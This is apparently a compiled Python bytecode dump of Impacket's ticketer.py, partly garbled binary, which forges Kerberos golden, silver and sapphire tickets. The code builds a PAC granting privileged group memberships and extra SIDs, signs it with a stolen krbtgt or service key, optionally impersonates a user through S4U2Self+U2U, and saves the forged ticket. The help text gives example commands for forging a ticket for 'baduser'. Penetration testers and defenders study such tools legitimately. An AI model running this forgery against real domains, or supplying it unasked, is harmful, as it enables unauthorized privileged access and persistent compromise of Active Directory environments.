o
    j'                  
   @   s  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
mZ d dlmZ d dlmZ d dlmZ d dlmZmZ d d	lmZ d d
lmZ d dlmZmZ d dlmZ d dlmZm Z m!Z!m"Z"m#Z#m$Z$m%Z% d dl&m'Z' d dl(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0 d dl1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z; d dl<m=Z= d dl>m?Z?m@Z@mAZA d dl>mBZB d dlCmDZDmEZEmFZFmGZGmHZHmIZImJZJmKZKmLZLmMZMmNZNmOZOmPZPmQZQmRZRmSZS d dlTmUZUmVZV d dlWmXZXmYZY d dlZm[Z[m\Z\ d dl(m]Z]m^Z^m_Z_m`Z`maZambZbmcZd d dl>meZemfZfmgZg d dlWmhZh d dlTmcZc d dlimjZj G dd dZkeldkremejn ejod d!d"Zpepjqd#d$d%d& epjqd'd$d(d& epjqd)d*d+d,d- epjqd.d$d d/d0 epjqd1d$d d2d0 epjqd3d$d4d5d6 epjqd7d$d8d& epjqd9d$d:d& epjqd;d$d<d=d- epjqd>d$d?d@d- epjqdAd$dBd& epjqdCd*dDd& epjqdEd*dFd& epjqdGd$dHdId- epjqdJd*dKd& epjqdLd*dMd& eprdNZsesjqdOd$dPd& esjqdQd$dRd& esjqdSd$dTdUd6 esjqdVd$dWdXd6 epjqdYd$dZd& ete	jud[kr1epv  emd\ emd] emd^ emd_ emd` emda emdb emdc emdd emde emdf e	wd[ epx Zye'zeyj{eyj| eyj}du rMe~dg e	wd[ eyjdu rieyjdu rieyjdu riedh e	wd[ eyjdureyjdureyjd+u redi e	wd[ eyjd u reyjdu redj e	wd[ eyjd u reyjdu reyjdu rd dklmZ edlZneyjZeyjrIdmdn eeyjeyjeyjeyj}eyjeyjeyjeyjgg doD Zeredpdqe  e	wd[ eyjs eyjs edr e	wd[ g ZeyjredC eyjduredA eyjdur!ed; eyjdur,edG er:edsdqe  eyjrIeyjdurIedt zekeyjeeyj}eyZe  W dS  ey Z ze jejkrsd dlZe  emee W Y dZ[dS dZ[ww dS )u    )division)print_functionN)timegm)strptime)	unhexlify)b)encoderdecoder)noValue)version)RPC_SIDSID)NDRULONG)NULLGROUP_MEMBERSHIPSE_GROUP_MANDATORYSE_GROUP_ENABLED_BY_DEFAULTSE_GROUP_ENABLEDUSER_NORMAL_ACCOUNTUSER_DONT_EXPIRE_PASSWORD)logger)AS_REPTGS_REPETYPE_INFO2AuthorizationDataEncTicketPartEncASRepPartEncTGSRepPartAD_IF_RELEVANT)
ApplicationTagNumbersPreAuthenticationDataTypesEncryptionTypesPrincipalNameTypeProtocolVersionNumberTicketFlagsencodeFlagsChecksumTypesAuthorizationDataTypeKERB_NON_KERB_CKSUM_SALT)Keytab)Key_enctype_tableget_kerberos_key_for_enctype)Enctype)KERB_SID_AND_ATTRIBUTESPAC_SIGNATURE_DATAPAC_LOGON_INFOPAC_CLIENT_INFO_TYPEPAC_SERVER_CHECKSUMPAC_PRIVSVR_CHECKSUMPKERB_SID_AND_ATTRIBUTES_ARRAYVALIDATION_INFOPAC_CLIENT_INFOKERB_VALIDATION_INFOUPN_DNS_INFO_FULLPAC_REQUESTOR_INFOPAC_UPN_DNS_INFOPAC_ATTRIBUTES_INFOPAC_REQUESTORPAC_ATTRIBUTE_INFO)KerberosTime	Principal)getKerberosTGTgetKerberosTGS)	constantspac)AP_REQTGS_REQAuthenticatorseq_setseq_set_iterPA_FOR_USER_ENCTicket)_HMACMD5
_AES256CTSstring_to_key)sendReceive)rJ   )hexdumpc                   @   s   e Zd Zdd Zedd Zedd Zedd Zd	d
 Zdd Z	dd Z
dd Zdd Zedd Zdd Zdd Zdd Zdd Zdd Zdd  Zd!d" Zd#S )$TICKETERc                 C   s   || _ || _|| _|| _d | _d | _d | _|jr7|jd}|d | _	|d | _
|jd ur5| |j d S d S d| _	| j| _
d S )N/r      krbtgt)_TICKETER__password_TICKETER__target_TICKETER__domain_TICKETER__options_TICKETER__tgt_TICKETER__tgt_session_key!_TICKETER__requested_ticket_timesspnsplit_TICKETER__service_TICKETER__serverkeytabloadKeysFromKeytab)selftargetpassworddomainoptionsr[    rf   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/ticketer.py__init__]   s    


zTICKETER.__init__c                 C   s   | d9 } | d7 } | S )Ni l     }*{Grf   )trf   rf   rg   getFileTimeq   s   zTICKETER.getFileTimec                 C   
   t | S N)rC   get_pad_lengthdata_lengthrf   rf   rg   getPadLengthw      
zTICKETER.getPadLengthc                 C   rk   rl   )rC   get_block_lengthrn   rf   rf   rg   getBlockLength{   rq   zTICKETER.getBlockLengthc           
      C   s   t t|d d  }d}t }| j| jkrd}t }||||d d }tj||dd }|d 	 r8|d n|d	 }|d
 	 rF|d
 n|d }	|d	 
 |
 |d 
 |	
 dS )Nenc-partetype      cipherasn1Specr   	starttimeauthtime
renew-tillendtime)r|   r{   r~   r}   )r+   intr   rV   r^   r   decryptr	   decodehasValueclone)
ra   kdcRepreplyKeyrx   keyUsageencKDCRepPartSpec	plainTextencKDCRepPartr{   	renewTillrf   rf   rg   _extract_reply_ticket_times   s   

z$TICKETER._extract_reply_ticket_timesc                 C   s   t |}|dtj| jf }|r7|d tjks |d tjkr'|	 t_
d S |d tjkr5|	 t_d S d S tdtj d S )Nz%s@%skeytypez3No matching key for SPN '%s' in given keytab found!)r)   loadFilegetKeyre   r[   rV   r-   AES256AES128hexlifiedValueaesKeyRC4nthashloggingwarning)ra   filenamer_   keyblockrf   rf   rg   r`      s   
zTICKETER.loadKeysFromKeytabc           	      C   s`  t  }ttjtjj }| |}|d@ |d d< |d? |d d< d|d d< d|d d< d|d d< d|d d< |d@ |d	 d< |d? |d	 d< d
|d d< d
|d d< d|d d< d|d d< | j|d< d|d< d|d< d|d< d|d< d|d< d|d< d
|d< t	| j
j|d< | j
jd}t|d
krd|d< nt	|d
 |d< t||d< |D ]!}t }t }t	||d< ||d< ttB tB |d< |d | qd
|d < d!|d"< d|d#< | j |d$< |d% | j
j d&|d'< ttB |d(< d
|d)< d
|d* d< d
|d* d< d
|d+ d< d
|d+ d< d
|d,< d
|d-< t|d.< d
|d/< t|d0< t }||d< |S )1N    	LogonTimedwLowDateTime    dwHighDateTime
LogoffTimeiKickOffTimePasswordLastSetr   PasswordCanChangePasswordMustChangeEffectiveName FullNameLogonScriptProfilePathHomeDirectoryHomeDirectoryDrivei  
LogonCountBadPasswordCountUserId,i  PrimaryGroupId
GroupCountData
RelativeId
AttributesGroupIds	UserFlags                   UserSessionKeyLogonServerLogonDomainNameLogonDomainIds           LMKeyUserAccountControlSubAuthStatusLastSuccessfulILogonLastFailedILogonFailedILogonCount	Reserved3ResourceGroupDomainSidResourceGroupCountResourceGroupIds)r7   r   datetimenowtimezoneutc	timetuplerj   rU   r   rW   user_idgroupsr\   lenr   r   r   r   r   appendrV   upperfromCanonical
domain_sidr   r   r   r5   )	ra   kerbdataaTimeunixTimer   groupgroupMembershipgroupIdvalidationInforf   rf   rg   createBasicValidationInfo   sp   



z"TICKETER.createBasicValidationInfoc                 C   s@  |   }i }| |  |t< t }t }|d d d tjjkr7tj	j|d< tj	j|d< d|d< d|d< n)d|d< d|d< t
| jjdkrTtjj|d< tjj|d< ntjj|d< tjj|d< | |t< | |t< t }| jd	|d
< t
|d
 |d< | |t< | jjr| | | jjdu r| | | | |S )Nticketrt   ru   SignatureTyper   	Signatures               @   zutf-16leName
NameLengthF)r   getDatagetDataReferentsr0   r/   r!   rc4_hmacvaluer&   hmac_md5r   rW   r   hmac_sha1_96_aes256hmac_sha1_96_aes128r2   r3   r6   rU   encoder1   	extra_paccreateUpnDnsPacold_paccreateAttributesInfoPaccreateRequestorInfoPac)ra   r   r   pacInfossrvCheckSumprivCheckSum
clientInforf   rf   rg   createBasicPac   s:   



zTICKETER.createBasicPacc                 C   s  t  }d| t| }| j  d| j  d}t||d< t|t| |d< |d |d  }| |}|d| 7 }| j d}t||d< || |d< |d |d  }| |}|d| 7 }d|d	< | jd}t||d
< || |d< |d |d
  }| |}|d| 7 }t }	|		| j
j d| j
j  t|	|d< || |d< |d |d  }| |}|	 d|  }
|| | |
 }| | | |t< d S )N    @z	utf-16-le	UpnLength	UpnOffsetDnsDomainNameLengthDnsDomainNameOffset   FlagsSamNameLengthSamNameOffset-	SidLength	SidOffset)r8   rp   r   rU   lowerrV   r   r   r   r   rW   r   r   r   r:   )ra   r   
upnDnsInfoPAC_padupn_data	total_lenpaddns_namesamNameuser_sid	user_datapost_pac_datarf   rf   rg   r   %  s<    



zTICKETER.createUpnDnsPacc                 C   s&   t  }d|d< d|d< | | t< d S )Nr   FlagsLengthrR   r   )r=   r   r;   )r   pacAttributesrf   rf   rg   r   N  s   z TICKETER.createAttributesInfoPacc                 C   s@   t  }t |d< |d | jj d| jj  | |t< d S )NUserSidr   )r<   r   r   rW   r   r   r   r9   )ra   r   pacRequestorrf   rf   rg   r   V  s   
 zTICKETER.createRequestorInfoPacc                 C   s  | j jdu rU| j| jkrtd ntd | j jd ur(| j jd\}}nd}d}t| j j	t
jjd}t|| j| jt|t|d | j j\}}}}|||| _| _| _| j| jkrhtj|t dd }n"t| j jt
jjd}	t|	| jd |||\}
}}}tj|
t dd }| ||| _t|d	 d
 d }t|d
 d }|tjjks|tjjkr| j j d u rt!d dS |tj"jks|tj"jkr| j j#d u rt!d dS |tj"jks|tj"jkr| j j#d urt$| j j#dkrt!d dS |tj%jks|tj%jkr| j j#d u rt!d dS |tj%jks |tj%jkr7| j j#d ur7t$| j j#dk r7t!d dS t
jj|d d< t&|d d< | j j'pL| j(|d d d< ndtd | j| jkrkt }t)jj|d< n	t }t)jj|d< d|d< | j j d u rt&|d< t&|d d< t*j+j|d d d< t, }t&|d< t$| j j#dkrtj%j|d d< ntj"j|d d< d| j- | j(f |d d< t./|}||d d d< | j- |d < t&|d< t
jj|d d< t&|d d< | j(|d d d< t&|d	< t0j1j|d	 d!< | j- |d	 d"< t&|d	 d#< t&|d	 d# d< | j2|d	 d# d d< | j| jkr>t
jj|d	 d# d< | j- |d	 d# d d$< nt
jj|d	 d# d< | j|d	 d# d d$< t&|d	 d
< d%|d	 d
 d&< t&|d
< | j j d u rt$| j j#dkrtj%j|d	 d
 d< tj%j|d
 d< n%tj"j|d	 d
 d< tj"j|d
 d< ntjj|d	 d
 d< tjj|d
 d< d%|d
 d&< t&|d
 d'< | 3|}||fS )(NTz/Requesting TGT to target domain to use as basisz3Requesting TGT/TGS to target domain to use as basis:r   typery   r   r   rt   ru   zrc4_hmac is used in this ticket and you haven't specified the -nthash parameter. Can't continue ( or try running again w/o the -request option))NNzaes128_cts_hmac_sha1_96 is used in this ticket and you haven't specified the -aesKey parameter. Can't continue (or try running again w/o the -request option)r   zaes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. Can't continue (or try running again w/o the -request option)zaes256_cts_hmac_sha1_96 is used in this ticket and you haven't specified the -aesKey parameter. Can't continue (or try running again w/o the -request option)r   zjaes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. Can't continuecname	name-typename-stringz,Creating basic skeleton ticket and PAC Infosmsg-type   pvnopadatapadata-typez%s%ssaltpadata-valuecrealmztkt-vnorealmsnamerR   r   kvnorx   )4rW   requestrV   r^   r   infohashesr\   r?   userr"   NT_PRINCIPALr   r@   rT   r   dc_iprX   _TICKETER__tgt_cipherrY   r	   r   r   r[   NT_SRV_INSTrA   r   r   rZ   r   r!   r   r   criticalaes128_cts_hmac_sha1_96r   r   aes256_cts_hmac_sha1_96r
   impersonaterU   r   r    PA_ETYPE_INFO2r   r   r   r   r#   r  r]   r   )ra   lmhashr   userNametgtrx   oldSessionKey
sessionKeyr   
serverNametgsticketCipherencPartCipheretype2encodedEtype2r   rf   rf   rg   createBasicTicket]  s   

  


zTICKETER.createBasicTicketc                 C   st  | j }| j}| j}| jj}tj|t dd }t }|	|d  t
 }d|d< ttjj
j|d< t }t||d< t|d|j t }	d|	d< t|d	 |	d	< t }
|
	|d	d
 t|	d
|
j tjtjj}|j|	d< t||	d< t jtj krt!d t"|	#  t"d t$%|	}|&|d|d }t'|d< |j(|d d< ||d d< t$%|}t) }d|d< ttjj)j|d< t'|d< t'|d d< ttj*j+j|d d d< ||d d d< t| jj,tj-j.jd}
t/0dtj-j.j}|t1| jj,t1| j2 d 7 }t jtj krt!d t3| t45|d|}t jtj kr-t!d t3| t6 }t|d|
j | j2|d< t'|d< ttj7j8j|d d< ||d d < d!|d"< t jtj krit!d# t"|#  t$%|}t'|d d$< ttj*j9j|d d$ d< ||d d$ d< t|d%}t }|:tj;j<j |:tj;j=j |:tj;j>j |:tj;j?j |:tj;j@j t||d&< t| jjA| jjBtj-jCjd}t|d'|j t|d	 |d(< tjtjjtjDd$d) }t||d*< tEFd+|d,< tG|dt|j(ttjHjIjf tG|d-|tJ f t jtj kr(t!d. t"|#  t$%|}tK|| j2|}|d |d fS )/Nry   r   r   r  r  r  z
ap-optionszauthenticator-vnor  r  cusecctimeAUTHENTICATOR
   authenticatorru   rx   r  r  r  r  z<Is   KerberosS4UByteArray   CheckSumr+  	userRealmcksum	cksumtypechecksumKerberoszauth-packagerI   rR   zreq-bodyzkdc-optionsr  r  )daystill   noncezadditional-ticketsz	Final TGS)LrX   r#  rY   rW   r"  r	   r   r   rJ   	from_asn1rD   r   rB   r   r   listr%   rG   to_asn1rF   strr?   components_to_asn1r   r   r   r   microsecondr>   r   	getLoggerlevelDEBUGdebugprintprettyPrintr   r   encryptr
   enctyperE   r    
PA_TGS_REQr(  r"   r!  structpackr   rV   rO   rK   rB  rI   r&   r   PA_FOR_USERr   
KDCOptionsforwardable	renewablecanonicalizerenewable_okenc_tkt_in_skeyr   rd   
NT_UNKNOWN	timedeltarandomgetrandbitsrH   r!   r   
TicketAsn1rN   )ra   r,  rx   r.  kdcHost
decodedTGTr   apReqoptsr;  
clientNamer   encodedAuthenticatorencryptedEncodedAuthenticatorencodedApReqtgsReqr<  checkSumpaForUserEncencodedPaForUserEncreqBodyr/  messagerrf   rf   rg   getKerberosS4U2SelfU2U  s   











zTICKETER.getKerberosS4U2SelfU2Uc           -      C   s@  t d| j| jf  tjtjjtjt	| j
jd }| j
jrt d| j
j  |  \}}}}t d tj|t dd }|d d d	 }	tt	|d d d
  }
|
| jd|	}tj|t dd }tj|d d d t dd }t|d d  }t }|d }d}d}t d t|d D ]y}t|}|d |d d d  d |d  }|t|d  }|d ttfv rt|}|d t j!j"krd|d< n|d t j#j"krd|d< nd|d< |$ ||d < q|d t%krd}|||d < q|d t&krd}|||d < q|||d < q| j
j'du r"|s"| (| | j
j'du r=|s=| j
j)dkr8t *d | +| t d dd t,t-|d  . D }|}t/j0j"t/j1j"t/j2j"t/j3j"g}| j| j4kro|5t/j6j" |D ]}||vr}|5| qqt7||d < t d! |d d d
 |d" d#< |d" d# t8j9j"krd$:d%d td&D |d" d'< n|d" d# t8j;j"krd$:d(d td)D |d" d'< nd$:d*d td&D |d" d'< nt }t- }|5t/j0j" |5t/j1j" |5t/j2j" | j| j4kr|5t/j6j" |5t/j3j" t7||d < t<|d"< |d d d
 |d" d#< |d" d# t8j9j"krDd$:d+d td&D |d" d'< n,|d" d# t8j;j"kr`d$:d,d td)D |d" d'< nd$:d-d td&D |d" d'< | j= |d.< t<|d/< t>j?j"|d/ d0< t<|d/ d1< | j|d/ d1 d< t<|d2< d|d2 d3< d$|d2 d4< | j
j@r| jAd ur| jAd5 B |d5< | jAd6 B |d6< | jAd7 B |d7< | jAd8 B |d8< n(tCDtjtjj|d5< tCDtjtjj|d6< tCD||d7< tCD||d8< t<|d< t<|d d< tEjj"|d d d9< t<|d d d< tF|v r'|tF }tG }|H|tF  t|$ }|I|| tJtKtL|d5 d:}| M|}tN }|d;@ |d< d=< |d)? |d< d>< | j= |d? d@< | j|d? dA< | j
jOPdB}t- |d? dC< t||d? dD< |D ]$} tQ }!tR }"t	| |"d?< |"|!dE< tStTB tUB |!dF< |d? dC 5|! q| j
jVd ur| j
jVPdB}#|d? dG dkr|d? dH  d)O  < tW |d? dI< |#D ]-}$|d? dG  dJ7  < tX }%tY }&|&Z|$ |&|%dK< tStTB tUB |%dF< |d? dI 5|% qnt[|d? dI< |$ |\  }'|'|tF< t ] j^t j_kr&t `dL |a  tbdM ntcdNt dO t|v rbt|t }(|(d t j!j"krId|(d< n|(d t j#j"krWd|(d< nd|(d< |($ |t< ntcdPt|v rt|t })d|)d< |)d t j!j"krd|)d< n|)d t j#j"krd|)d< nd|)d< |)$ |t< ntcdQtd|v rte|td }*||*dR< |*$ |td< ntcdSt dT t dU | j| j4krtf }+ntg }+t<|+d"< |d" d# |+d" d#< |d" d' |+d" d'< t<|+dV< t<|+dV d< d|+dV d dW< tCDtjtjj|+dV d dX< dY|+dZ< tCD||+d[< g }|d  D ]},|5|, q||+d < tL|d5 |+d5< tL|d7 |+d7< tL|d6 |+d6< tL|d8 |+d8< | j= |+d\< t<|+d]< t<|+d] d1< | jh|+d] d1 d< | j| j4krt>jij"|+d] d0< | j= |+d] d1 dJ< t d^ nt>j?j"|+d] d0< | j4|+d] d1 dJ< t d_ |+||fS )`NzCustomizing ticket for %s/%s)hoursz+	Requesting S4U2self+U2U to obtain %s's PACz#	Decrypting ticket & extracting PACry   r   r   rt   rx   ru   r   authorization-dataad-dataBuffersFz	Clearing signaturescBuffersOffsetrv   cbBufferSizeulTyper   z            r   z                T500a  User ID is 500, which is Impacket's default. If you specified -user-id, you can ignore this message. If you didn't, and you get a KDC_ERR_TGT_REVOKED error when using the ticket, you will need to specify the -user-id with the RID of the target user to impersonatez	Adding necessary ticket flagsc                 S   s   g | ]
\}}|d kr|qS )1rf   ).0ixrf   rf   rg   
<listcomp>  s    z,TICKETER.customizeTicket.<locals>.<listcomp>flagsz	Changing keytypekeyr   r   c                 S      g | ]}t tjqS rf   rb  choicestringascii_lettersr  _rf   rf   rg   r           keyvaluec                 S   r  rf   r  r  rf   rf   rg   r    r  r   c                 S   r  rf   r  r  rf   rf   rg   r    r  c                 S   r  rf   r  r  rf   rf   rg   r    r  c                 S   r  rf   r  r  rf   rf   rg   r    r  c                 S   r  rf   r  r  rf   rf   rg   r    r  r  r  r  r  	transitedztr-typecontentsr|   r{   r~   r}   ad-typez%Y%m%d%H%M%SZr   r   r   r   r   r   r   r   r   r   r   r   SidCountr   	ExtraSidsrR   Sidz$VALIDATION_INFO after making it goldr9  z"PAC_LOGON_INFO not found! Abortingz	PAC_LOGON_INFOz'PAC_SERVER_CHECKSUM not found! Abortingz(PAC_PRIVSVR_CHECKSUM not found! AbortingClientIdz(PAC_CLIENT_INFO_TYPE not found! Abortingz	PAC_CLIENT_INFO_TYPE	EncTicketPartzlast-reqzlr-typezlr-valuei[rG  zkey-expirationsrealmr  z	EncAsRepPart	EncTGSRepPart)jr   r  rV   rU   r   r   r   r   ra  r   rW   durationr(  rt  r	   r   r   r+   r   rY   r   r   rC   PACTYPEasOctetsdictrangePAC_INFO_BUFFERr   r2   r3   r/   r&   r   r   r   r   r;   r9   r   r   r   r   r   	enumeraterI  asBinaryr$   r[  	proxiabler\  pre_authentr^   r   initialr%   r!   r&  joinr'  r
   r   r"   r!  r  rZ   r   r>   rJ  r'   r0   r5   
fromStringfromStringReferentsr   r   rK  rj   r7   r   r\   r   r   r   r   r   	extra_sidr4   r.   r   r   r   r   rN  rO  rP  rQ  dumprR  	Exceptionr1   r6   r   r   r]   r$  )-ra   r   r   ticketDurationr0  rx   r-  r.  decodedTicket
cipherText	newCipherr   encTicketPartadIfRelevantpacTypebuffAttributesInfoPacInS4UU2UPACRequestorInfoPacInS4UU2UPACbufferN
infoBufferdatarB  originalFlagsr  newFlagsnewFlagr   lenValr   r   r   r   r   r   r   	extrasidsextrasid	sidRecordsidvalidationInfoBlobserverChecksumprivSvrChecksumpacClientInfo
encRepPartr  rf   rf   rg   customizeTicketm  s  $

 

$








$$$"" 













"

zTICKETER.customizeTicketc                 C   s&  t d ttg}tttfD ]}||v r|| q|t	t
g tj|| jj| jj|td}t }t|d< tjj|d d< | |d d< t|}||d d d< t  jt jkrjt d t|  td t|}	t|d	 d
 d  }
t |
j!| jj| jjd}t d |
"|d|	d }||d	 d
 d< d|d	 d
 d< t|}| j#| j$krt%|
j!|d d & }t d |
"|d|d }nt%|
j!|d d & }t d |
"|d|d }||d
 d< |
j!|d
 d< d|d
 d< t  jt jkrt d t|  td t||
|fS )NzSigning/Encrypting final ticket)aes_keynt_hashbuffer_orderchecksum_saltr   r  rw  rv  zCustomized EncTicketPartr9  r   rt   ru   )r  generic_aes_keyr  r   rx   r  r  r  z	EncASRepPartrw   r  rv   rR   zFinal Golden Ticket)'r   r  r0   r1   r:   r;   r9   r   extendr2   r3   rC   sign_pacrW   r   r   r(   r   r
   r'   AD_WIN2K_PACr   r   r   r   rN  rO  rP  rQ  rR  rS  r+   r,   rU  rT  rV   r^   r*   r  )ra   r   encASorTGSRepPartr  r   bufferOrderoptionalTyper  authorizationDataencodedEncTicketPartrx   r  r  encodedEncASRepPartr.  rf   rf   rg   signEncryptTicket  s^   










zTICKETER.signEncryptTicketc                 C   s   t d| jddd   ddlm} ddlm}m} |d}|r-|	|r-|
|}n| }| j| jkr>|||| n|||| || jddd  d S )	NzSaving/Updating ticket in %srQ   .z.ccacher   )CCache)getenvpath
KRB5CCNAME)r   r  rU   replaceimpacket.krb5.ccacher  osr  r  isfiler   r^   rV   fromTGTfromTGSsaveFile)ra   r   r.  r  r  r  krb5ccacherf   rf   rg   
saveTicket  s   zTICKETER.saveTicketc                 C   sP   |   \}}|d ur&| ||\}}}| ||||\}}}| || d S d S rl   )r5  r  r  r  )ra   r   r  r  r  r   rx   r.  rf   rf   rg   run  s   zTICKETER.runN)__name__
__module____qualname__rh   staticmethodrj   rp   rs   r   r`   r   r   r   r   r   r5  rt  r  r  r  r  rf   rf   rf   rg   rP   \   s4    


^')
 
   LrP   __main__Tz>Creates a Kerberos golden/silver tickets based on user options)add_helpdescriptionrb   storez%username for the newly created ticket)actionhelpz-spnz}SPN (service/server) of the target service the silver ticket will be generated for. if omitted, golden ticket will be created-request
store_trueFzlRequests ticket to domain and clones it changing only the supplied information. It requires specifying -user)r  defaultr  -domainz2the fully qualified domain name (e.g. contoso.com))r  requiredr  -domain-sidz@Domain SID of the target domain the ticker will be generated for-aesKeyzhex keyz5AES key used for signing the ticket (128 or 256 bits))r  metavarr  -nthashz#NT hash used for signing the ticketz-keytabz7Read keys for SPN from keytab file (silver ticket only)z-groupsz513, 512, 520, 518, 519zVcomma separated list of groups user will belong to (default = 513, 512, 520, 518, 519)-user-idr}  zCuser id for the user the ticket will be created for (default = 500)z
-extra-sidzHComma separated list of ExtraSids to be included inside the ticket's PACz
-extra-pacz-Populate your ticket with extra PAC (UPN_DNS)z-old-pacz^Use the old PAC structure to create your ticket (exclude PAC_ATTRIBUTES_INFO and PAC_REQUESTORz	-duration87600z}Amount of hours till the ticket expires (default = 24*365*10). Ignored with -request, which preserves the KDC-issued lifetimez-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONauthentication-userzZdomain/username to be used if -request is chosen (it can be different from domain/username	-passwordzpassword for domain/usernamez-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz-impersonatezSapphire ticket. target username that will be impersonated (through S4U2Self+U2U) for querying the ST and extracting the PAC, which will be included in the new ticketrR   z
Examples: zp	./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
zd	will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.z^	If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256zc	(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved asz	baduser.ccache.
z	./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser
z`	will first authenticate against the KDC (using -user/-password) and get a TGT that will be usedzc	as template for customization. Whatever encryption algorithms used on that ticket will be honored,zf	hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'z	and saved as baduser.ccachezDomain should be specified!z7You have to specify either aesKey, or nthash, or keytabzMYou cannot specify both -aesKey and -nthash w/o using -request. Pick only onez.-request parameter needs -user to be specified)getpassz	Password:c                 C   s(   g | ]\}}|d u s|dkr|s|qS )Nr  rf   )r  param
param_namerf   rf   rg   r  >  s
    r  )r  r  r  r  r  r  r  r  z+missing parameters to do sapphire ticket : z, z=missing parameter -user-id. Must be set if not doing -old-pacz7doing sapphire ticket, ignoring following parameters : zWparameter -user-id will be ignored when specifying -old-pac in a sapphire ticket attack)
__future__r   r   argparser   r   rb  r  rW  syscalendarr   timer   binasciir   sixr   pyasn1.codec.derr   r	   pyasn1.type.univr
   impacketr   impacket.dcerpc.v5.dtypesr   r   impacket.dcerpc.v5.ndrr   impacket.dcerpc.v5.samrr   r   r   r   r   r   r   impacket.examplesr   impacket.krb5.asn1r   r   r   r   r   r   r   r   impacket.krb5.constantsr   r    r!   r"   r#   r$   r%   r&   r'   r(   impacket.krb5.keytabr)   impacket.krb5.cryptor*   r+   r,   r-   impacket.krb5.pacr.   r/   r0   r1   r2   r3   r4   r5   r6   r7   r8   r9   r:   r;   r<   r=   impacket.krb5.typesr>   r?   impacket.krb5.kerberosv5r@   rA   impacket.krb5rB   rC   rD   rE   rF   rG   rH   rI   rJ   rd  rK   rL   rM   rN   impacket.winregistryrO   rP   r  rR  BANNERArgumentParserparseradd_argumentadd_argument_groupr   r   argv
print_helpexit
parse_argsre   inittsrQ  rd   r%  r   r   r_   errorr  r   r  rc   r  r(  zipr   r   missing_paramsr  r   ignored_paramsr   r   r  r   r  rb   executerr  r  erN  rO  rP  	traceback	print_excrK  rf   rf   rf   rg   <module>   s  /$(0H$       





$

$



$




 